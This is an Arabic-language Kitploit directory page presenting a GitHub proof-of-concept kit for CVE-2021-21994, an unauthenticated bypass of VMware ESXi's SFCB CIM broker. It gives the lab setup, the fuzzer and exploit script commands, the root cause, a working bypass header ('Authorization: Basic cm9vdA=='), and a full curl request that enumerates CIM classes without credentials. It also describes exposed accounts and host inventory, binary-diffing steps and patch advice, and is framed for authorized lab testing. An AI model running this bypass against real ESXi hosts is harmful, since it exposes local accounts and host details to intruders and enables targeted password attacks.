Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2021-21994_POC — يتحقق من تجاوز المصادقة في SFCB الخاص بـ VMware ESXi (CVE-2021-21994) ويستغله عبر أداة فحص/تخريب، مما يتيح تعداد CIM-XML دون مصادقة. | Kitploit
أدوات/GitHubGitHub/mreza-en/cve-2021-21994_poc
تحليل الثغرات الأمنيةالاستغلالجمع المعلوماتالاختبار العشوائياختبار الاختراقالمصادقة
GitHubmreza-en/cve-2021-21994_poc

cve-2021-21994_POC

يتحقق من تجاوز المصادقة في SFCB الخاص بـ VMware ESXi (CVE-2021-21994) ويستغله عبر أداة فحص/تخريب، مما يتيح تعداد CIM-XML دون مصادقة.

عرض المستودع
19منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-21994 — تجاوز مصادقة SFCB في VMware ESXi — عدّة أبحاث مختبرية

الحقلالقيمة
النوعCWE-287 مصادقة غير سليمة (تجاوز مصادقة)
المكوّنSFCB (وسيط CIM صغير المساحة) داخل VMware ESXi
ناقل الهجومالشبكة، TCP 5989 (CIM-XML عبر HTTPS)، «طلب مُصنَّع خصيصًا»
المتأثرESXi 6.5 / 6.7 / 7.0 قبل VMSA-2021-0014 (يوليو 2021)
الإصلاحإصدارات بناء التصحيح VMSA-2021-0014
PoC عاملا يوجد. لم تكشف VMware عن شكل الطلب

المراجع: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB

نظرًا لعدم وجود PoC، فإن هذه العدّة هي منصة اختبار «ابحث بنفسك»: يتحقق sfcb_probe.py من أوراكل (check) ثم يطلق قاموس تحويرات مستهدفًا على /cimom (fuzz) ويُعلّم أي استجابة 200 مع نص CIM تم الحصول عليها بدون بيانات اعتماد صالحة.

استخدمها فقط ضد جهازك الافتراضي المخبري أو أهداف تقع صراحةً ضمن نطاق مهمة مخوَّلة.

1. إعداد المختبر (مطابقة الهدف: ESXi 6.5)

  1. احصل على ISO الخاص بـ ESXi 6.5 (أي إصدار بناء قبل يوليو 2021 يصلح؛ ومن الأفضل أن يكون من نفس فئة بناء 6.5.0 الخاصة بالهدف):
    • بوابة دعم Broadcom (حساب مجاني) ← تنزيلات VMware vSphere Hypervisor 6.5
    • تنزيلات «صورة ESXi 6.5 المخصصة» من HPE / Dell متاحة للعموم على مواقع الدعم الخاصة بهما
  2. جهاز افتراضي متداخل في VMware Workstation/Fusion (أو KVM):
    • فعّل خيار «Virtualize Intel VT-x/EPT» على الجهاز الافتراضي
    • معالجان افتراضيان (2 vCPU)، 6 جيجابايت RAM، قرص رفيع (thin disk)؛ بطاقة شبكة E1000 للمثبّت
    • ثبّت في وضع التقييم — لا حاجة لمفتاح ترخيص في المختبر
  3. فعّل وسيط CIM ومجموعة قواعد جدار الحماية الخاصة به (DCUI ← Troubleshooting ← تفعيل ESXi Shell/SSH، ثم عبر SSH):
    /etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
    esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
    esxcli network firewall ruleset list | grep -i cim
    esxcli network ip connection list | grep 5989   # must LISTEN
    
  4. التقط لقطة (Snapshot) من الجهاز الافتراضي (حالة نظيفة لإعادة الاختبار عليها).

2. تشغيل منصة الاختبار

# establish the oracle first (needs a real local ESXi account, e.g. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'

# expect: no-auth -> 401, bogus -> 401, valid -> 200
# then fuzz (uses only bogus/no creds, never your real ones):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/

2ب. النتائج (المختبر + هدف ESXi 6.5، تم التأكيد في 2026-08-15)

تم العثور على التجاوز. السبب الجذري: يفشل sfcbd فشلًا مفتوحًا (fails open) عندما لا يُفكّ ترميز رمز مصادقة Basic إلى زوج user:password يحتوي على :.

ترويسة PoC بالحد الأدنى (base64 لـ root، بدون نقطتين رأسيتين):

Authorization: Basic cm9vdA==

مصفوفة الأدلة من تشغيل الفازر:

شكل الطلبالحالةالمعنى
بدون ترويسة / user:pass b64 صالح / : / root:401توجد نقطتان رأسيتان ← تُنفَّذ المصادقة ← رُفض
b64("root") (بدون نقطتين رأسيتين)200 + نص CIMلا توجد نقطتان رأسيتان ← تم تخطّي المصادقة
b64("\0:\0") (سلسلة C فارغة)200نفس السبب: لا توجد نقطتان رأسيتان
base64 غير صالح (مسافة / BOM / بادئة Basic)200فشل فك الترميز ← تم تخطّي المصادقة
Basic\tTOKEN (فاصل tab)401تقسيم any-WSP يُحلَّل بنجاح ← تُنفَّذ المصادقة
Basic␣␣TOKEN (مسافتان)200تقسيم بمسافة واحدة ← يبدأ الرمز بمسافة ← يفشل فك الترميز

تحمل استجابة 200 مغلّف CIM-XML تم توجيهه داخل CIMOM (مثل ERROR CODE="5" Class not found)، ممّا يثبت اجتياز طبقة مصادقة HTTP — والطلب المطابق بدون الترويسة المعطوبة يعيد 401.

استخدام الاستغلال:

python3 sfcb_exploit.py verify    192.168.x.x          # oracle proof, prints VULNERABLE
python3 sfcb_exploit.py classes   192.168.x.x          # dump class names of a namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem

سطر curl واحد للقطات شاشة التقرير:

curl -sk -X POST "https://192.168.x.x:5989/cimom" \
  -H 'Content-Type: application/xml; charset=utf-8' \
  -H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
  -H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
  -d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'

الأثر: وصول قراءة بدون مصادقة إلى وسيط CIM:

  • تعداد الحسابات: تكشف مثيلات VMware_Identity جميع الحسابات المحلية لـ ESXi (لوحظ على المختبر 6.5: root، dcui، vpxuser — مضيف مُدار بواسطة vCenter — بالإضافة إلى مستخدمين مخصصين)، ممّا يتيح هجمات كلمات مرور موجّهة.
  • جرد كامل للمضيف/العتاد عبر الفئات الـ 436 المكشوفة (نظام الكمبيوتر، المعالجات، الذاكرة، التخزين/مخازن البيانات (datastores)، نقاط نهاية الشبكة، إصدارات البرنامج الثابت/BIOS، المستشعرات، هوية البرامج المثبّتة).
  • لا مسار كتابة: تُعلن خدمات RBAC (VMware_RoleBasedAuthorizationService، CIM_PrivilegeManagementService) عن طرق ملفات تعريف DMTF (AssignRoles، AssignAccess، ...) لكنها لا تكشف أي مثيلات — الطرق مقتصرة على المخطط فقط. إنشاء/تعديل الحسابات عبر CIM غير ممكن مع هذه الـ CVE؛ سقف الأثر هو كشف معلومات بدون مصادقة.

الأحكام:

  • BYPASS-STRONG — HTTP 200 + نص CIM-XML بدون بيانات اعتماد صالحة ← لقد وجدت التجاوز؛ والطلب المُفرَّغ هو بدائيّة الاستغلال الخاصة بك.
  • bypass-weak(200-no-cim-body) — 200 لكن بدون نص CIM؛ افحص ملف التفريغ.
  • blocked / info(400) — مرفوض. ملاحظة: 400 تعني عادةً أن الطلب توقف قبل تقييم المصادقة — ما يزال مثيرًا للاهتمام، لكنه ليس تجاوزًا.

ملاحظة حول نصوص CIM المصنوعة يدويًا: وفقًا لـ DSP0200، يتطلب EnumerateInstanceNames إلزامًا قيمة ClassName IPARAMVALUE. يمكن رفض النص الذي يفتقر إليها لأسباب لا علاقة لها بالمصادقة ويُفسد الأوراكل — ترسل منصة الاختبار دائمًا النص المطابق للمواصفة.

3. خارطة طريق إذا لم يعثر القاموس على شيء

يغطي الفازر أشكال الالتباس الكلاسيكية في محلّل مصادقة HTTP. إذا لم يُصب أيٌّ منها، فإن المسار المتبقي (والحاسم) هو مقارنة الثنائيات (binary diffing):

  1. اسحب VIB الخاص بـ esx-base لإصدار بناء مُعرَّض للثغرة (مثل فئة 6.5.0 GA) ومن إصدار بناء 6.5/6.7/7.0 مُصحَّح بـ VMSA-2021-0014 من فهرس المستودع العام لـ VMware: https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml
  2. استخرج كلا ملفي VIB (إنهما أرشيفات ar ← حمولة vib ← cpio)، وقارن ثنائيات sfcbd* باستخدام Ghidra + BinDiff.
  3. ركّز على تحليل ترويسات HTTP / فك ترميز Basic-auth / توزيع موفّر المصادقة. يُعد مشروع SFCB المنبعي مفتوح المصدر (upstream) (SBLIM sfcb على SourceForge) مرجعًا هيكليًا مفيدًا لمسار كود HTTP+auth حتى وإن كانت نسخة ESXi المشتقّة معدَّلة.
  4. حوّل مسار الكود المُصحَّح إلى الطلب المُصنَّع بدقة، وأضفه إلى منصة الاختبار، وتحقق منه على الجهاز الافتراضي المخبري — هذا هو الاستغلال الحقيقي.

4. ملاحظات تشغيلية للتقرير

  • الأوراكل وحده (بدون مصادقة ← 401) يُعدّ بالفعل نتيجة مفيدة للتحصين: لا ينبغي أبدًا أن يكون المنفذ 5989 قابلًا للوصول عبر الإنترنت.
  • إذا تم التأكيد، فالإصلاح: طبّق تصحيحات VMSA-2021-0014+ (ESXi 6.5 خارج الدعم (EOL) — يُنصح بالترحيل) أو احجب 5989 بجدار الحماية.
تنزيل الأداة